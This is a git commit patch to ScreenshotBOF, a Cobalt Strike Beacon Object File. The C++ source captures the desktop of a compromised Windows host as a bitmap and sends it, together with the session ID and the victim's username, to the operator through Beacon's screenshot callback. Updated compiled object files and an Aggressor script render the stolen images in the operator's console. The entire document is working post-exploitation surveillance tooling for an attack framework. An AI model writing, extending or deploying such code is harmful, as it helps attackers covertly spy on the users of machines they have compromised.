From dea10235e2f64a3590fb03c8114c28b31052cac4 Mon Sep 17 00:00:00 2001 From: BinaryFaultline Date: Thu, 27 Oct 2022 23:46:58 -0500 Subject: [PATCH] Added GUI components to the CNA to allow rendering of the Bitmap images --- ScreenshotBOF/Source.cpp | 13 +++-- bin/BOF/ScreenshotBOF.x64.obj | Bin 6396 -> 6234 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 4935 -> 4761 bytes bin/BOF/screenshotBOF.cna | 92 ++++++++++++++++++++++++++++++++++ 4 files changed, 98 insertions(+), 7 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 8e5cdde..4615606 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,7 +6,7 @@ #pragma comment(lib, "Gdi32.lib") /*Download Screenshot*/ -void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { // Function modified by @BinaryFaultline // This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs @@ -118,7 +118,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0); bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = Bitmap0.bmWidth; - bi.biHeight = -Bitmap0.bmHeight; + bi.biHeight = Bitmap0.bmHeight; bi.biPlanes = 1; bi.biBitCount = wBitCount; bi.biCompression = BI_RGB; @@ -163,9 +163,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; - void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); - memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded @@ -173,12 +173,12 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); char* user; user = (char*)getenv("USERNAME"); - char title[] = "Right-click this and Save to view"; + char title[] = "Right-click and \"Render BMP\" to view"; int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength); + downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -218,7 +218,6 @@ void go(char* buff, int len) { */ BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); - BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"..."); SaveHBITMAPToFile(hBitmap); // clean up diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 4a28c4704195eddcd7e1266c865a2086577f3734..9efaead50a5a036e4a69e77631af8698eb768e9f 100755 GIT binary patch delta 1222 zcmYk*Ur19?90%~<-L9Jdx28GMY|YJC{>i!2OvB|LQu5ENhgD)(Zc#)kCYcnj0)rmJ z)_EyVv42>U1&tzz>LC<*?8)+>C@Ktm2+5v$=zD&5ZXVd#=l<^RoO{mip8LVwkpQ|S`=4Xj(} zGgwd1n^`O9Gg*3t2n)uDM99cWhe}xakT${<05@{b4P~+RLD{TvXe(<-C0fs#gVwP= zK-$!0F+`{w9#;izVtJq(mM@}LEX5o%L-IA_WkU{@Vi3zId5TwLrsf8kP|nrn1oTKH(uDb_f@AWb zr7S~4^5j%;OukhYOTIu&7HBueWX*Q4@*|Slu8}b(Rd>Fap8xZ_VEN;OIc46PRo?l7 zh6bmz=fAhUS?Qh`@!dJPt6_W2=M&#P9d553c_)@qk1JE6&5)ZUzc1Ow6PuUBu;HZX zATID7;b%Lrx65?AoU&F(eQ7FDio`FIBXG|@_*JH9ZKqri8qOB4ji?q8Sy~*% zaHJm*S>kBUZA4_LqdBvP$U;YR7Q>NfPA2wX6Ju#bN>k`{+JY{=p|R1^u&2J!DJC*5 Pueq|B^VVE>%#Z&A(!`iQ delta 1373 zcmZA1UuaWT90%~gyhyg z4J< zo^$Rm=k`wjt4MS5i-j~cvorC`MKoG&Uay@lzaLoJpb;H)(0{HdZHtCYMnADrXjj8J`rn zECv;)^7&i=32sUng>-hmcz4^F*q6>2#g(F%6Gw7WB5N2)wPYc^KV^mznRMa+Z^ftf z;tPkvR1r?MCYS1aDKx?@tkl^m0>xh=JZbClRUr-Or zvv9s1VaU(f2-M5^3{v&fX~yn7Z}PiY*5oWI@% zoS2r#5@wpLICJ6@CV*zeEhMowW}lV41WCoWat|?;qGiwFTUE;KlfvsD_^?X z9esIBrsG&x|1}=s*BMlzmS}3?1@hNcUv(%^9r@qes>)IwT1_JApkrvWr(X-o5l^5r zcXge*yLt^&jdRAkC0dU}6&vTWnq-iuqSwZpM52mc8*>?nDt&FtTs5hUapM{M@_{F$ lMJugscN`6)TekG$C%TK|@7^xC$Q!S-B3bhG&2!d!;a^cu%*Fr! diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj index 9615019cfef2030b1496c504df73eb357ad5862f..65c20d4efb32ce57f5337a3bfd6493c6bf522f55 100755 GIT binary patch delta 878 zcmZA0Z%7ki90%~<-R9-;u92-$S9lX zD6#I1y$A%eh?G`q6_h~{MAjR7V?}@7nlE}$2H~6az2DIl9Xww?_xnBfjOXsz%j&CM zrBf)Ni~A2887v|Srj=%4G~MM3T_&Qii1_Dfp+HMrGJYoMIg$8N9+8ONU|!5&R)XnC zw-_zDJKZPf8NsfH#4V+V6EU@NS3D7m_p7a4kxDh$r=IGKpCKBmAj42kBDZq|3?8kQ;$`B`Bb zQ86n96|#;)=F&OH*sDa3p|z}OsGRlA(i~*|TBDt)0^O8EFF=(i&Oqx}U!h9YB4qAe zDIluiS{dYFwL)H2kJXJ@-2`NAX#z4g@*G;vPkb|dg9;6~O@sFt+|EoET>86QI; z1;X)yDj=EVhc>XbLJF(hs`W#4sJV=tQZ;u6ARlYnq4EbeXBTocnfbwMw{8zi-1*h% zTnK#{`W&9^%{P7-(N#GrjOrKUD%m*6#x*s+b4M=f6rr z;Go{DxMkyT2hnq9x`(qzl@ifQ_^@`ob@QLmfMp^We=FU%JFky9YlXAf8K>V?*sf`j M?K`whS5|cV2JJ9{p#T5? delta 1061 zcmZA0Uq}=|90%~(RrgZYG}E%o9RHr4dY*??7iNOR9dVX;8b(N+=jxqaw{o}sqrfP9 zh_JMMilm+_B7BHTdr6;?{@6oODEbsd(1ZA5kkG^Row>ZoUFOGUf4|+C*%{`3(VOBF zr;tGAA6@X2$b?i+q?{BcCmM~mB!Li{NdCL(NqxOpQ--v{D}n98Gl`IfI6^iOqnVnC z>1>h6&)=(penLE!sd;@N>JD^LmwP~=no0+J%AkHntQ+C)Uo^GThW=ns326Rd+Mss0 z{Tg*?L0_+83{jUSs3?JuSJgsPb9YcRfR{r3eSK;W8GO{K1bu;SdZx)vyL^5nR8B)G z9aj5kKv6o`XhC1MSF7;&eV$%Ei+nbXe6!h1^bg{z@KD^UD7?^{rA6`AYBcJh!WV-n}?bhkHW1~)8Of(8k-IQ22!U_^$F)A8U zSxgRSADTp35%+WTAZBr0MLfVYg?Nx_8gVz*3}QOh9AYZhLM*q$7PJa2gM3AdcC!v; zqe)~7@er4Yoz3C0Kqjt6?BHH54Pr|mk!w(NxCMx9uS6E1!(3}nF4vF08o?l7bU1rF zA(WSwp**f{P(IghsDMjO*j|rZsF3H%p(3spsFrnKU<{=aNe~EksOS#r# zLYh?YoB=X($xsqkI#kY;3ng<|Ash#MSPQZ3lgL>pg{v)=8-*&7%OLk8DQ ztG0di$;!`}vi0ThHDjvN@afCy%DatAhR2qNrIPjO1N}yFhcKysPcD$zd1IHjv~^t1 zkk21&!UL8Qt $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $user\@$computer"; + addTab($tab_name, $component, "..."); + +} + +# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab +on screenshots { + local('$screenshot $data'); + + $screenshot = $1; + $data = $screenshot['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($screenshot); + } +} + +popup_clear("screenshots"); +popup screenshots { + item "&Interact" { + openOrActivate($1["bid"]); + } + + menu "&Color" { + insert_component(colorPanel("accents", $1["id"])); + } + + item "&Save" { + prompt_file_save($1["id"] . ".jpg", lambda({ + local('$handle'); + $handle = openf("> $+ $1"); + writeb($handle, $data); + closef($handle); + + show_message("Screenshot saved."); + }, $data => $1["object"]["data"])); + } + + separator(); + + item "&Remove" { + redactobject($1["id"]); + } + + item "Render &BMP" { + $data = $1["object"]['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($1["object"]); + } else { + show_error("Image is not a Bitmap. It should render in Screenshots tab."); + } + } +} + #Register command beacon_command_register( "screenshot_bof",